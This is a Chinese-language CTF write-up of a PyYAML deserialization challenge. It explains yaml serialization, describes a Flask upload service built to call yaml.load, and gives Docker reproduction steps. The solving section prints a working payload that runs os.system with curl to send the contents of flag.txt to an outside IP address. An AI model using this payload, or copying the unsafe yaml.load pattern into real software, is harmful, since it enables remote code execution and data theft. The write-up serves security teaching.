Python
题目网址内容:
一 背景知识
在《Python Pickle的任意代码执行漏洞实践和Payload构造)》[1]上看到一篇文章,文章中讲的Pickle反序列化,而题目中用的是pyyaml模块的反序列化。那么什么是序列化,什么是反序列化呢?
1.1 yaml
yaml和xml、json一样,都是标记类语言,每个支持yaml格式的语言都会有自己的实现来进行yaml格式的解析,其中python里的是pyyaml模块,即是一个yaml库。每个语言的yaml解析器或多或少都会针对这个语言实现一套特殊的对象化规则。
1.2 序列化
序列化是指将数据结构或对象转换成二进制(字节序列)的过程
在wp.yaml中写入以下代码:
date:!!str 2018-10-26
weekday:Friday
date1:2018-10-26`
然后在同一目录下运行如下代码:
import yaml
a = yaml.load(file("wp.yaml","r")
print(a)
运行后,结果如下:
可见,yaml中的语句被序列化
1.3 反序列化
反序列化顾名思义是序列化的逆过程,将在序列化过程中生成的二进制串转换成数据结构或者对象的过程
二 出题思路
从《Python PyYAML反序列化漏洞实验和Payload构造》[2]得到信息:
这里是引用要实现代码执行,需要序列化和反序列化的内容中出现该编程语言中(Python)的对象(函数、类),因为的对象的反序列化,是在构建一个对象的实例(实例化的过程)。如果一个对象中有函数的定义,有可执行代码,那么实例化后再通过方法调用或者其他的途径才能使其中的代码到执行。普通数据类型的反序列化只是变量相关的初始化、赋值等操作,不会涉及到逻辑处理的代码块,所有不会有代码的执行!(普通数据类型 = 数据,对象= 函数代码+数据)。
并且其主要导致漏洞的函数是yaml.load()。所以从3的wp中得到思路,构造一个上传功能,当用户上传以yaml为后缀或者yml为后缀的文件时,代码中的yaml.load()函数对其进行反序列操作。
本题主要使用python2.7+flask1.0.2+PyYaml3.12搭建环境。
核心代码如下:
三 解题过程
不断的尝试多种文件,发现有些是合法文件,比如jpg、png、txt等。但在知道这道题是yaml反序列化之后,直接上传一个yaml文件,其中的payload是
"hello": !!python/object/apply:os.system ["curl http://47.106.105.37/?`cat flag.txt`"]
在反序列化的过程中执行命令,cat的内容无法直接回显到页面,通过curl,使flag回显到服务器中,其中所给出的ip地址可变,甚至可以回显到本地。在access_log日志信息中可看到flag。
四 复现文件
文件在此链接2018招新赛
使用以下命令运行docker
docker build -t ctf_web . #创建镜像,ctf_web是任意取的名字
docker ps #查看镜像
docker run -d ctf_web
docker run -d -p 22222:5000 ctf_web #将flask默认的5000端口映射到22222端口